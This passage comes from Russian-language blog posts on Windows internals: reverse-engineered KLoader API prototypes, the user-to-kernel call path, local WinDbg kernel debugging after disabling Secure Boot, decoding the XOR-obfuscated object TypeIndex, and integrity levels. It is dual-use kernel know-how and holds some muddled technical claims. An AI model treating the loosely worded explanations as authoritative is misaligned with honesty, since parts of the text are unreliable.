typedef struct _KLOADER_MODULE_CHARACTERISTICS {
 
} KLOADER_MODULE_CHARACTERISTICS, * PKLOADER_MODULE_CHARACTERISTICS;
 
 
typedef struct _KLOADER_REFERENCE_MODULE_CONFIG {
 
} KLOADER_REFERENCE_MODULE_CONFIG, * PKLOADER_REFERENCE_MODULE_CONFIG;
 
 
_IRQL_requires_max_(PASSIVE_LEVEL)
NTKERNELAPI
NTSTATUS
FASTCALL
KLoaderRegisterModule(
    _In_ PDRIVER_OBJECT pDriverObject,
    _In_ PUNICODE_STRING pRegistryPath,
    _In_opt_ PVOID arg3,
    _In_ PKLOADER_MODULE_CHARACTERISTICS pKModuleCharacts);
 
_IRQL_requires_max_(PASSIVE_LEVEL)
NTKERNELAPI
NTSTATUS
FASTCALL
KLoaderReferenceModule(
    _In_ PKLOADER_REFERENCE_MODULE_CONFIG pKModuleConfig,
    _Out_ PKLOADER_MODULE_REFERENCE* ppKModule);
 
_IRQL_requires_max_(PASSIVE_LEVEL)
NTKERNELAPI
NTSTATUS
FASTCALL
KLoaderDereferenceModule(
    _In_ PKLOADER_MODULE_REFERENCE pKModule);
 
 
NTSTATUS
FASTCALL
KLoaderQueryDispatchTable(
    __int64 a1,
    __int64 a2,
    __int64 a3);

Что находится в структурах KLOADER_MODULE_CHARACTERISTICS и KLOADER_REFERENCE_MODULE_CONFIG пока сказать не могу.
API KLoader появился в Windows 11 (возможно даже только в свежих сборках) и никакой информации в интернете нет.
Символы тоже картины не проясняют ни в IDA, ни в WinDbg.

Относительно лёгкое понимание есть по двум функциям:
KLoaderReferenceModule - на вход подаётся сконфигурированная информация, а на выходе инициализируется дескриптор.
KLoaderDereferenceModule - здесь всё просто: процедура KLoaderDereferenceModule уменьшает количество ссылок объекта на единицу.

KLoaderRegisterModule - функция оперирует объектом драйвера и некоторыми атрибутами.

KLoaderQueryDispatchTable - это внутренняя процедура, которая получает доступ к таблице guid'ов.
В классе ExecutionContextLibrary инициализируется KLoaderReferenceModule через GUID

C
1
2
3
4
5
 __int128 EXECUTION_CONTEXT_MODULE_ID; // = 35B544BE-EDE5-B481-48EC-62759C0B898D
 
result = KLoaderReferenceModule(
    (struct _KLOADER_REFERENCE_MODULE_CONFIG *)&v8,
    (struct KLOADER_MODULE_REFERENCE__ **)this + 14);

если результат отрицательный, инициализация происходит через таблицу guid'ов

C
1
2
3
4
5
6
7
8
__int64 EXECUTION_CONTEXT_DISPATCH_TABLE_ID; // = 25h
 
if (!result)
{
    v4 = *((_QWORD *)this + 14);
    v7 = 0;
    result = KLoaderQueryDispatchTable(v4, v3, (__int64)&v7);
}

Надеюсь Вам было интересно немного окунуться в ядерные глубины Windows 11 :)
То, что я описал очень поверхностно и многое требует так называемого deep internal исследования, которое будет в следующей части.

Разбираемся в новом API KLoader. Часть 2: Deep Internal Research

Стек вызовов Windows API

_lunar_ — Mon, 11 Apr 2022 11:59:21 GMT

В этой записи я постараюсь простым понятным языком объяснить что такое API в целом, а также его разновидности в зависимости от того, где это API исполняется.

Сперва, предлагаю внимательно посмотреть на скриншот и запомнить последовательность вызовов
(не стал рисовать свои скриншоты, т.к. этот в полной мере описывает весь процесс)

Итак, после того, как исходный код был скомпилирован, появляется пользовательское приложение (файл с расширением *.exe).
EXE файл это исполняемый файл со строго типизированной структурой заголовка Portable Executable (PE).
Формат PE достаточно объемный, и поэтому кажется сложным. Но Microsoft любезно предоставляет спецификацию этого формата PE Format, так что с освоением проблем не должно возникнуть.
Такая структурированность требуется для того, чтобы загрузчик Windows смог проецировать таблицы с кодом, заложенные в EXE файле, в виртуальное адресное пространство, для дальнейшего его исполнения на процессоре (инструкция за инструкцией).

Я сейчас не буду подробно останавливаться на каждой таблице, но нужно запомнить вот что:
у EXE файлов всегда есть таблица импорта адресов - Import Address Table (IAT) (за исключением случаев, когда код написан без среды выполнения C Runtime (CRT)).

Вернёмся на шаг назад - к исходному коду.
Когда программист пишет код будущего пользовательского приложения, он использует заготовленные файлы хидеров (Header), в которых определены различные константы, прототипы функций и многое другое.
Хидер это просто текст и не более.
Ещё программист использует библиотеки (*.lib), чтобы связать (слинковать) прототип функции из хидера с реальной функций в одной из системных библиотек DLL.
Именно эта связь формирует таблицу импорта адресов (IAT) в заголовке PE будущего EXE файла.

Снова вернёмся к скриншоту, на котором для примера выбрана функция WriteFile и весь её стек вызовов.
И вот тут уже можно начинать задать вопрос - что же такое Application Programming Interface (API)?

Начнем с пользовательского окружения - то, что доступно непосредственно пользователю: Windows API (WinAPI).
WinAPI это документированное API, т.е. к прототипам его функций есть описание и спецификации.
WinAPI представляет собой массивный набор функций, распределенный по нескольким системным библиотекам DLL.
Основные системные библиотеки пользовательского окружения: kernelbase.dll (до Windows 8 это была kernel32.dll и теперь она служит лишь стабом для совместимости), user32.dll, gdi32.dll, advapi32.dll, ntmarta.dll, shell32.dll и др.
В них собрано огромное количество функций, которые и формируют WinAPI.

Когда программист в коде использует функцию WriteFile, он вызывает её API из соответствующей системной библиотеки (в данном случае kernel32.dll).
По сути API это ничто иное как исполняемый код в самой библиотеки DLL.
Там выполняются различные internal функции (не экспортируемые функции), вычисления, заполнение переменных, переданных программистом через аргументы функции WriteFile.
Формируется так называемый пользовательский контекст - массив данных, который передаётся ядру ОС через ссылку на стек (шлюз)

Assembler
1
2
3
4
5
proc near
    mov edx, esp
    syscall ; mov edx, 7FFE0300 // SharedUserData!SystemCallStub (в 7FFE0300 находится адрес KiFastSystemCall)
    retn
endp

Конечным результатом внутреннего исполнения функции WriteFile в библиотеке kernel32.dll будет вызов функции NtWriteFile с тем самым пользовательским контекстом.

Есть ещё несколько библиотек пользовательского окружения, таких как ntdll.dll и win32u.dll, функции которых доступны из UserMode.
Набор их функций формирует так называемое NativeAPI.
NativeAPI это недокументированное API, и разбор прототипов его функций осуществляется энтузиастами в ручном режиме с помощью отладчиков и дизассемблеров.
Главная задача этих функций - передать пользовательский контекст в ядро ОС.
Делается это переключением (или точнее системным прерыванием) процессора в защищенный режим (ProtectedMode).
В современных ОС и процессорах для этого используются инструкции SYSCALL или SYSENTER (внутри KiFastSystemCall) (в старых ОС это системное прерывание называлось int 2e (внутри KiIntSystemCall))

Возврат контекста из ядра ОС в пользовательский режим осуществляется инструкциями SYSRET или SYSEXIT (внутри KiFastSystemCallRet).

После того, как процессор перешёл в защищенный режим (ProtectedMode), переданный пользовательский контекст начинает обрабатываться в ядре ОС - ntoskrnl.exe
Для этого используется процедура ZwWriteFile (не путайте с функций NtWriteFile из библиотеки ntdll.dll).
Код API, который исполняется в ядре ОС называется KernelAPI.
KernelAPI это недокументированное API (небольшая часть функций всё же описана в WDK, но не все).
В кругах низкоуровневых программистов функции KernelAPI ещё называют сервисами (или подпрограммами системных служб).

Дальше опускаться уже не будем - там только слой аппаратных абстракций (HAL) и само железо.
В двух словах: HAL транслирует код в оперативной памяти таким образом, чтобы другие микроконтроллеры смогли обработать запросы от центрального процессора и предоставить ответы.
Вот одна из Hal-функций, которые начиная с поздних версий Windows 10, переехали из hal.dll в ядро ОС ntoskrnl.exe

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
NTHALAPI
BOOLEAN
HalTranslateBusAddress(
    _In_ INTERFACE_TYPE InterfaceType,
    _In_ ULONG BusNumber,
    _In_ PHYSICAL_ADDRESS BusAddress,
    _Inout_ PULONG AddressSpace,
    _Out_ PPHYSICAL_ADDRESS TranslatedAddress
    );
 
//
// Values for AddressSpace parameter of HalTranslateBusAddress
//
//      0x0         - Memory space
//      0x1         - Port space
//      0x2 - 0x1F  - Address spaces specific for Alpha
//                      0x2 - UserMode view of memory space
//                      0x3 - UserMode view of port space
//                      0x4 - Dense memory space
//                      0x5 - reserved
//                      0x6 - UserMode view of dense memory space
//                      0x7 - 0x1F - reserved
//

Итак, подведём итоги:
1. операционная система Windows предоставляет API интерфейсы, расположенные в библиотеках DLL.
2. пользовательское приложение вызывает API, реализованное в библиотеках DLL.
3. большинство функций API в конечном итоге вызывают подпрограммы системных служб (сервисы) в ntoskrnl.exe

Все менеджеры, утилиты, программы и т.д. используют API.
API не может использовать менеджеры и утилиты в качестве запуска службы и прочего.
API это программный интерфейс, выполняющий определенные команды, которыми пользуются программисты при разработке приложений.

Объекты операционной системы. Часть 4: Отладчик уровня ядра WinDbg

_lunar_ — Fri, 24 Dec 2021 16:41:24 GMT

Объекты операционной системы. Часть 1: Общие сведения
Объекты операционной системы. Часть 2: Объект ядра
Объекты операционной системы. Часть 3: Уровень целостности

В этой части я решил показать самые интересные, на мой взгляд, возможности ядерного отладчика WinDbg.
Но сначала немного слов о том, как его установить и как им пользоваться.
В этом блоге я буду показывать работу отладчика WinDbg сразу для двух операционных: Windows 7 (x64) и Windows 10/11 (x64).
Почему две ОС? По двум причинам:
1. Windows 7 всё ещё остаётся актуальной;
2. Работа ядер этих ОС имеет большие различия, которые несомненно вызывают интерес, и которые мы увидим на примерах.

Итак, начнём с Windows 7.
Здесь всё просто, идём на MSDN, качаем Windows 11 WDK (прямая ссылка на online установщик) и устанавливаем по умолчанию в папку Program Files (x86).
После установки отладчик WinDbg будет располагаться по пути: Program Files (x86)\Windows Kits\10\Debuggers\x64
Попробуйте запустить windbg.exe, если вылезет вот такая ошибка

то скачайте эту библиотеку api-ms-win-core-sysinfo-l1-2-0.rar и положите в туже папку, где находится windbg.exe, ещё раз проверьте запускается ли отладчик.
Теперь, чтобы воспользоваться именно KernelMode отладкой необходимо выполнить три шага:
1. В BIOS отключите опцию SecureBoot (должно быть Disabled), если такой опции в BIOS нет, то переходите ко второму шагу.
2. Запустите командную строку (cmd.exe) от имени администратора и введите следующую команду bcdedit -debug on, должна быть надпись об успешном выполнении команды.
3. Перезагрузите компьютер.
Запустите windbg.exe от имени администратора. В меню нажмите File -> Kernel Degug... -> выберите Local и нажмите OK

Дождитесь окончания загрузки символов (в командной строке должна появиться надпись lkd>, что означает, что отладчик готов к принятию команд).

Теперь установка и настройка для Windows 10/11.
В этих ОС можно выбрать какой отладчик устанавливать:
- тот же, что и описанный в Windows 7 из пакета Windows 11 WDK;
- либо из магазина Microsoft Store WinDbg Preview, который также можно найти и в самом магазине.
Лично я предпочитаю WinDbg Preview, у него неплохой интерактивный GUI, да и сам интерфейс куда более приятный и современный.
Настройка аналогична трем шагам из Windows 7: выключить SecureBoot, включить debug on и перезагрузить компьютер.
Из Пуска запустите WinDbg Preview от имени администратора. В меню нажмите File -> Attach to kernel -> выберите Local и нажмите OK

Дождитесь окончания загрузки символов (в командной строке должна появиться надпись lkd>, что означает, что отладчик готов к принятию команд).

Так как отладчик сейчас работает в режиме ядра ОС, то эксперименты будем ставить над самым главным процессом - ядром операционной системы System.
Итак, первой командой, которой мы воспользуемся, это !process
Она выводит базовую информацию о процессе: сессию в которой он работает, идентификатор, родительский процесс, количество открытых дескрипторов этим процессом.
Давайте введем команду !process 0 0 System

Отлично! Теперь у нас есть значение объекта процесса System PROCESS fffffa80048d8040
Для того, чтобы понять что находится в этом объекте, необходимо получить заголовок этого объекта (ObjectHeader).
В отладчике WinDbg для этого предусмотрена команда !object
Соответственно введём эту команду и значение того объекта, у которого требуется получить заголовок !object fffffa80048d8040

Теперь у нас есть значение заголовка объекта процесса System ObjectHeader: fffffa80048d8010 (new version)
Зная это значение, можно посмотреть что содержится в структуре _OBJECT_HEADER
Воспользуемся следующей командой, которой передадим значение заголовка объекта dt nt!_object_header fffffa80048d8010

Самыми интересными полями этой структуры являются TypeIndex и SecurityDescriptor.
Начнём с SecurityDescriptor : 0xfffff8a0`0000464b.
Это указатель на структуру, содержащую уже знакомые нам ACL (SACL и DACL), а также их ACE, SID группы и владельца и их флаги.
Введем специальную команду, чтобы отобразить содержимое структуры, находящейся по значению SecurityDescriptor: !sd 0xfffff8a0`0000464b & -10

Заметьте, что KernelExplorer, кроме вывода этой информации, также выводит более детализированную информацию, в частности по структуре ACTRL_ALIST.
Данная структура является недокументированной, и собирать её содержимое достаточно сложно, видимо в Microsoft не стали заморачиваться, а ведь там есть очень ценная и уникальная информация по правам доступа каждого ACE (ACTRL_ACCESS_ENTRY)

Теперь давайте разберемся, что такое TypeIndex : 0x7.
TypeIndex это индекс указателя на структуру _OBJECT_TYPE в таблице ObTypeIndexTable.
Давайте посмотрим что это за таблица ObTypeIndexTable, находящаяся в ядре ОС. Для этого введём команду dps nt!ObTypeIndexTable

Так как эксперименты проводятся на 64 битной ОС, соответственно значения являются 8-ми байтовыми.
Обратите внимание: второе значение является ошибочным 00000000BAD0B0B0.
Что это такое? Это заплатка (patchGuard) от эксплойта вида

В Windows 7 существовал способ, позволяющий через shellcode получить контроль на объектами ядра в таблице ObTypeIndexTable.
После patchGuard все обращения ко второму значению приводили к ошибке вида BAD ObjectHeader.
В Windows 8.1 исправили этот баг непосредственно в коде ядра, тем самым представив метаданные следующим образом

Но давайте вернёмся к TypeIndex и его значению 0x7.
Начав отсчитывать от первого нулевого значения (нулевой индекс) до седьмого индекса (восьмого значения) в таблице ObTypeIndexTable, мы попадаем на значение fffffa80048769b0. Пока запомним его.
Для того, чтобы посмотреть содержимое структуры _OBJECT_TYPE воспользуемся специальной командой, в которой происходит арифметическое действие над таблицей с учетом индекса 7 и размерности значения, находящегося по этому индексу (8 байт)
dt nt!_OBJECT_TYPE poi(nt!ObTypeIndexTable + (7 * 8))

Первым делом посмотрите на поле Name : _UNICODE_STRING "Process".
Вернитесь в скриншоту, где мы использовали команду !object - поле Type: (fffffa80048769b0) Process: данный объект ядра является Process.
А теперь посмотрите на поле TypeList : _LIST_ENTRY (0xfffffa80`048769b0). Точно такое же значение, которое мы запомнили чуть раньше.
Поздравляю, мы получили валидный индекс процесса System (ядра ОС) в таблице ObTypeIndexTable.

Теперь вернёмся к Windows 10/11 и попробуем определить индекс в таблице ObTypeIndexTable. Вот что мы получим в итоге

TypeIndex в Windows 10/11 зашифрован.
Кроме того, в Windows 10 21H2 диапазон индексов лежит в промежутке [0...68]

Кликните здесь для просмотра всего текста

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
TypeName                         | TypeIndex
---------------------------------|----------
(null)                           |  0
                                 |  1
Type                             |  2
Directory                        |  3
SymbolicLink                     |  4
Token                            |  5
Job                              |  6
Process                          |  7
Thread                           |  8
Partition                        |  9
UserApcReserve                   | 10
IoCompletionReserve              | 11
ActivityReference                | 12
PsSiloContextPaged               | 13
PsSiloContextNonPaged            | 14
DebugObject                      | 15
Event                            | 16
Mutant                           | 17
Callback                         | 18
Semaphore                        | 19
Timer                            | 20
IRTimer                          | 21
Profile                          | 22
KeyedEvent                       | 23
WindowStation                    | 24
Desktop                          | 25
Composition                      | 26
RawInputManager                  | 27
CoreMessaging                    | 28
ActivationObject                 | 29
TpWorkerFactory                  | 30
Adapter                          | 31
Controller                       | 32
Device                           | 33
Driver                           | 34
IoCompletion                     | 35
WaitCompletionPacket             | 36
File                             | 37
TmTm                             | 38
TmTx                             | 39
TmRm                             | 40
TmEn                             | 41
Section                          | 42
Session                          | 43
Key                              | 44
RegistryTransaction              | 45
ALPC Port                        | 46
EnergyTracker                    | 47
PowerRequest                     | 48
WmiGuid                          | 49
EtwRegistration                  | 50
EtwSessionDemuxEntry             | 51
EtwConsumer                      | 52
CoverageSampler                  | 53
DmaAdapter                       | 54
PcwObject                        | 55
FilterConnectionPort             | 56
FilterCommunicationPort          | 57
NdisCmState                      | 58
DxgkSharedResource               | 59
DxgkSharedKeyedMutexObject       | 60
DxgkSharedSyncObject             | 61
DxgkSharedSwapChainObject        | 62
DxgkDisplayManagerObject         | 63
DxgkCurrentDxgThreadObject       | 64 // Only in Windows 10
DxgkSharedProtectedSessionObject | 65
DxgkSharedBundleObject           | 66
DxgkCompositionObject            | 67
VRegConfigurationContext         | 68

а 0x4E это 78, что уже означает выход за допустимый диапазон.
Кстати в Windows 11 21H2 диапазон индексов был расширен

Кликните здесь для просмотра всего текста

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
TypeName                         | TypeIndex
---------------------------------|----------
(null)                           |  0
                                 |  1
Type                             |  2
Directory                        |  3
SymbolicLink                     |  4
Token                            |  5
Job                              |  6
Process                          |  7
Thread                           |  8
Partition                        |  9
UserApcReserve                   | 10
IoCompletionReserve              | 11
ActivityReference                | 12
ProcessStateChange               | 13  // Only in Windows 11
ThreadStateChange                | 14  // Only in Windows 11
PsSiloContextPaged               | 15
PsSiloContextNonPaged            | 16
DebugObject                      | 17
Event                            | 18
Mutant                           | 19
Callback                         | 20
Semaphore                        | 21
Timer                            | 22
IRTimer                          | 23
Profile                          | 24
KeyedEvent                       | 25
WindowStation                    | 26
Desktop                          | 27
Composition                      | 28
RawInputManager                  | 29
CoreMessaging                    | 30
ActivationObject                 | 31
TpWorkerFactory                  | 32
Adapter                          | 33
Controller                       | 34
Device                           | 35
Driver                           | 36
IoCompletion                     | 37
WaitCompletionPacket             | 38
File                             | 39
IoRing                           | 40  // Only in Windows 11
TmTm                             | 41
TmTx                             | 42
TmRm                             | 43
TmEn                             | 44
Section                          | 45
Session                          | 46
Key                              | 47
RegistryTransaction              | 48
ALPC Port                        | 49
EnergyTracker                    | 50
PowerRequest                     | 51
WmiGuid                          | 52
EtwRegistration                  | 53
EtwSessionDemuxEntry             | 54
EtwConsumer                      | 55
CoverageSampler                  | 56
DmaAdapter                       | 57
PcwObject                        | 58
FilterConnectionPort             | 59
FilterCommunicationPort          | 60
NdisCmState                      | 61
DxgkSharedResource               | 62
DxgkSharedKeyedMutexObject       | 63
DxgkSharedSyncObject             | 64
DxgkSharedSwapChainObject        | 65
DxgkDisplayManagerObject         | 66
DxgkSharedProtectedSessionObject | 67
DxgkSharedBundleObject           | 68
DxgkCompositionObject            | 69
VRegConfigurationContext         | 70

Касаемо новых объектов ядра в Windows 11, могу порекомендовать почитать вот этот материал
ProcessStateChange и ThreadStateChange - Thread and Process State Change
IoRing - I/O Rings – When One I/O Operation is Not Enough

А это таблица индексов объектов ядра Windows 7

Кликните здесь для просмотра всего текста

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
TypeName                         | TypeIndex
---------------------------------|----------
(null)                           |  0
BAD0B0B0                         |  1
Type                             |  2
Directory                        |  3
SymbolicLink                     |  4
Token                            |  5
Job                              |  6
Process                          |  7
Thread                           |  8
UserApcReserve                   |  9
IoCompletionReserve              | 10
DebugObject                      | 11
Event                            | 12
EventPair                        | 13 // Only in Windows 7
Mutant                           | 14
Callback                         | 15
Semaphore                        | 16
Timer                            | 17
Profile                          | 18
KeyedEvent                       | 19
WindowStation                    | 20
Desktop                          | 21
TpWorkerFactory                  | 22
Adapter                          | 23
Controller                       | 24
Device                           | 25
Driver                           | 26
IoCompletion                     | 27
File                             | 28
TmTm                             | 29
TmTx                             | 30
TmRm                             | 31
TmEn                             | 32
Section                          | 33
Session                          | 34
Key                              | 35
ALPC Port                        | 36
PowerRequest                     | 37
WmiGuid                          | 38
EtwRegistration                  | 39
EtwConsumer                      | 40
FilterConnectionPort             | 41
FilterCommunicationPort          | 42
PcwObject                        | 43

В Microsoft посчитали, что такой лёгкий доступ к таблице индексов ObTypeIndexTable недопустим и постарались запутать исследователей.
Но их защита простояла недолго, достаточно быстро был найден способ получения валидного индекса, довольно нетрадиционным способом.

Во-первых, исследователи ядра начали искать фрагменты кода, которые имеют что-то общее со структурой _OBJECT_TYPE

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
lkd> x nt!ob*type*
fffff806`2bc21f8c nt!ObpCreateDefaultObjectTypeSD (void)
fffff806`2bc218d0 nt!ObCreateObjectTypeEx (void)
fffff806`2bd82214 nt!ObEnumerateObjectsByType (ObEnumerateObjectsByType)
fffff806`2c024ef0 nt!ObpTypeObjectType = 
fffff806`2c024ee0 nt!ObpDirectoryObjectType = 
fffff806`2c107470 nt!ObTypeIndexTable = 
fffff806`2bb23b28 nt!ObQueryTypeInfo (ObQueryTypeInfo)
fffff806`2bc21ef8 nt!ObpInitObjectTypeSD (ObpInitObjectTypeSD)
fffff806`2be36038 nt!ObpObjectTypesPathString = 
fffff806`2bd82a60 nt!ObpDestroyTypeArray (ObpDestroyTypeArray)
fffff806`2bd8295c nt!ObpCreateTypeArray (ObpCreateTypeArray)
fffff806`2bf54aa0 nt!ObpTypeMapping = 
fffff806`2be36028 nt!ObpObjectTypesNameString = 
fffff806`2baa3cc0 nt!ObGetObjectType (ObGetObjectType)
fffff806`2c024e20 nt!ObpTypeDirectoryObject = 
fffff806`2bc218b0 nt!ObCreateObjectType (ObCreateObjectType)
fffff806`2c024ee8 nt!ObpSymbolicLinkObjectType = 
fffff806`2c024620 nt!ObpObjectTypes = 
fffff806`2bd82d3c nt!ObQueryTypeName (ObQueryTypeName)

Поиски выявили интересную функцию, которую нельзя было упускать из виду только лишь из-за ее названия nt!ObGetObjectType.
Затем было решено посмотреть на её мнемонику ассемблерного кода

Code
1
2
3
4
5
6
7
8
9
10
11
12
lkd> uf nt!ObGetObjectType
nt!ObGetObjectType:
fffff806`2baa3cc0 488d41d0        lea     rax,[rcx-30h]
fffff806`2baa3cc4 0fb649e8        movzx   ecx,byte ptr [rcx-18h]
fffff806`2baa3cc8 48c1e808        shr     rax,8
fffff806`2baa3ccc 0fb6c0          movzx   eax,al
fffff806`2baa3ccf 4833c1          xor     rax,rcx
fffff806`2baa3cd2 0fb60d2f2f6600  movzx   ecx,byte ptr [nt!ObHeaderCookie (fffff806`2c106c08)]
fffff806`2baa3cd9 4833c1          xor     rax,rcx
fffff806`2baa3cdc 488d0d8d376600  lea     rcx,[nt!ObTypeIndexTable (fffff806`2c107470)]
fffff806`2baa3ce3 488b04c1        mov     rax,qword ptr [rcx+rax*8]
fffff806`2baa3ce7 c3              ret

Функция ObGetObjectType принимает адрес объекта в качестве аргумента и выполняет следующие действия:
1. Код вычисляет адрес структуры _OBJECT_HEADER путем вычитания 0x30 из адреса памяти объекта, переданного в качестве аргумента.
0x30 это смещение от начала объекта до его заголовка в 64 битных ОС. В 32 битных ОС это смещение равняется 0x18.
2. Код выполняет операцию XOR для значения TypeIndex со вторым младшим байтом адреса структуры _OBJECT_HEADER, вычисленного на предыдущем шаге.
3. Затем код выполняет операцию XOR для результата из второго шага с байтом по адресу ObHeaderCookie.
4. Наконец результат операций XOR используется как индекс в ObTypeIndexTable и возвращает указатель на структуру _OBJECT_TYPE по этому индексу.

Теперь более простым языком, чтобы было понятно.
У нас есть объект PROCESS ffffc4052a8df040 процесса System, определенный после выполнения команды !process 0 0 System
От его значения мы отнимаем смещение до начала заголовка объекта: ffffc4052a8df040 - 0x30 = ffffc4052a8df010
Отсчёт байт начинается справа налево. Таким образом второй младший байт это 0xf0 (ffffc4052a8d f0 10).
Затем, необходимо выполнить команду db nt!ObHeaderCookie l1 чтобы определить байт в cookie, он равен 0xb9.
TypeIndex в зашифрованном виде равен 0x4e.
Теперь у нас есть все необходимые данные, они же ключи для расшифровки закодированного индекса методом XOR.
Введём следующую команду: ? f0 ^ 4e ^ b9
В итоге получаем расшифрованный TypeIndex: 0x7 для процесса System как и в случае с Windows 7.

Выведем таблицу ObTypeIndexTable командой dps nt!ObTypeIndexTable (как видите BAD ObjectHeader в Windows 10/11 уже нет).
Остаётся лишь только проверить имя Name : _UNICODE_STRING "Process" и адреса в TypeList : _LIST_ENTRY (0xffffc405`2a8bf380),
командой dt nt!_OBJECT_TYPE poi(nt!ObTypeIndexTable + (7 * 8))

Ну чтож, на этом я хотел бы поставить точку в изучении объектов операционной системы Windows.
Конечно же это только верхушка айсберга, и внутреннее устройство ОС Windows куда сложнее того, что я показал здесь.
Но главное, мы научились вскрывать то, что Microsoft зашифровала, причём на уровне ядра.

Объекты операционной системы. Часть 3: Уровень целостности

_lunar_ — Tue, 07 Dec 2021 22:51:18 GMT

Объекты операционной системы. Часть 1: Общие сведения
Объекты операционной системы. Часть 2: Объект ядра

Честно говоря, третью часть блога "Объекты операционной системы" я хотел написать совершенно про другое.
В планах было показать работу ядерного отладчика WinDbg, но в процессе подготовки материала и копания ядра ОС наткнулся на кое-что интересное.
Поэтому практической частью работы WinDbg думаю займёмся позже. А сейчас предлагаю познакомиться с Integrity Level (или уровень целостности).

Уровень целостности это своего рода метка, установленная в ACL (в частности в SACL) в одном из его ACE, а точнее в SYSTEM_MANDATORY_LABEL_ACE.
Если кто-то запутался вот небольшой FAQ по Access Control List (список управления доступом):
ACL это общее понятие для SACL (системный список управления доступом) и DACL (список управления доступом на уровне конкретного аккаунта).
У SACL и у DACL есть свои ACE - запись управления доступом. ACE достаточно много и их комбинация как раз и определяет того, кто может получить доступ к SACL и DACL.
Это и есть основа механизма защиты от неправомерного доступа к объектам ядра ОС Windows.

Но вернёмся к Integrity Level.
Integrity Level, если они есть, хранятся в SACL объекта.
Со времён Windows XP были определены следующие уровни целостности:

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
SID: S-1-16-0
Значение: 0x00000000L
Обозначение: ML_UNTRUSTED
Метка RID: SECURITY_MANDATORY_UNTRUSTED_RID
Описание: Недоверенный уровень целостности (An untrusted integrity level)
Применение: Processes started by Anonymous account
 
SID: S-1-16-4096
Значение: 0x00001000L
Обозначение: ML_LOW
Метка RID: SECURITY_MANDATORY_LOW_RID
Описание: Низкий уровень целостности (A low integrity level)
Применение: Internet Explorer Protected Mode process or AppContainer process (TOKEN_LOWBOX (0x00004000))
 
SID: S-1-16-8192
Значение: 0x00002000L
Обозначение: ML_MEDIUM
Метка RID: SECURITY_MANDATORY_MEDIUM_RID
Описание: Средний уровень целостности (A medium integrity level)
Применение: Process for regular applications with enabled UAC
 
SID: S-1-16-8448
Значение: 0x00002100L
Обозначение: ML_MEDIUM_PLUS
Метка RID: RID: SECURITY_MANDATORY_MEDIUM_PLUS_RID
Описание: Уровень целостности выше среднего (A medium plus integrity level)
Применение: Can be used as a priority between medium and high
 
SID: S-1-16-12288
Значение: 0x00003000L
Обозначение: ML_HIGH
Метка RID: SECURITY_MANDATORY_HIGH_RID
Описание: Высокий уровень целостности (A high integrity level)
Применение: Applications executed with UAC elevation
 
SID: S-1-16-16384
Значение: 0x00004000L
Обозначение: ML_SYSTEM
Метка RID: SECURITY_MANDATORY_SYSTEM_RID
Описание: Системный уровень целостности (A system integrity level)
Применение: Services or system applications, such as Winlogon and Wininit

Если в SACL нет метки RID, объект имеет уровень целостности по умолчанию ML_MEDIUM (S-1-16-8192).

С релизом Windows Vista (как мы уже знаем из предыдущих моих блогов) были внедрены защищенные процессы (а в Windows 8.1 ещё и защищенные сервисы и их процессы).
Соответственно был добавлен следующий уровень целостности:

Code
1
2
3
4
5
6
SID: S-1-16-20480
Значение: 0x00005000L
Обозначение: ML_PROTECTED_PROCESS
Метка RID: SECURITY_MANDATORY_PROTECTED_PROCESS_RID
Описание: Уровень целостности защищенного процесса (A protected-process integrity level)
Применение: Included in a token for protected processes

А вот с релизом Windows 10 появился ещё один уровень целостности - Secure Process (самый высший на данный момент).
Что это такое? В двух словах - это виртуальная машина, состоящая из Изоляции ядра и Целостности памяти.
Windows использует функции аппаратной виртуализации для создания защищенной области системной памяти, изолированной от обычной операционной системы.
Это защищает процессы операционной системы от несанкционированного доступа к чему-либо, находящемуся за пределами безопасной зоны.
Даже если вредоносная программа использует эксплойт, который должен позволить взломать эти процессы Windows, виртуализация является дополнительным уровнем защиты, который изолирует их от атак.
Целостность памяти это функция, которая является подмножеством изоляции ядра.
Для Windows обычно требуются цифровые подписи для драйверов устройств и другого кода, который работает в режиме ядра ОС низкого уровня.
Когда Целостность памяти включена, служба целостности кода в Windows запускается внутри контейнера, защищенного гипервизором, созданного изоляцией ядра.
Это должно сделать почти невозможным получение вредоносным ПО доступа к ядру ОС.
В Windows 10 и более новых ОС для виртуальной машины есть своё отдельное ядро - securekernel.exe (расположенное в папке System32),
а также хост для инициализации - secinit.exe (как wininit.exe для сессии 0, и winlogon.exe->userinit.exe для сессии 1),
и свой модуль целостности кода - skci.dll (как ci.dll для обычного ядра).
Очень неплохая статья про новый вид защиты HyperGuard (как раз то самое ядро securekernel.exe) вышла прям 1 января.
Кому интересно, могут ознакомиться
HyperGuard – Secure Kernel Patch Guard: Part 1 – SKPG Initialization
HyperGuard – Secure Kernel Patch Guard: Part 2 – SKPG Extents
HyperGuard – Secure Kernel Patch Guard: Part 3 – More SKPG Extents

Уровень целостности Secure Process выглядит следующим образом:

Code
1
2
3
4
5
6
SID: S-1-16-28672
Значение: 0x00007000L
Обозначение: ML_SECURE_PROCESS
Метка RID: SECURITY_MANDATORY_SECURE_PROCESS_RID
Описание: Уровень целостности безопасного процесса (A secure process integrity level)
Применение: Included in a token for protected processes, new for Windows 10

Логика работы Integrity Level такова: процесс с меньшим RID не может получить доступ к ACL процесса с большим RID.
Процессы, запускаемые обычным пользователем (в том числе администратором), получают средний уровень целостности (S-1-16-8192).
А процессы, запущенные через UAC с правами администратора - высокий уровень целостности (S-1-16-12288).
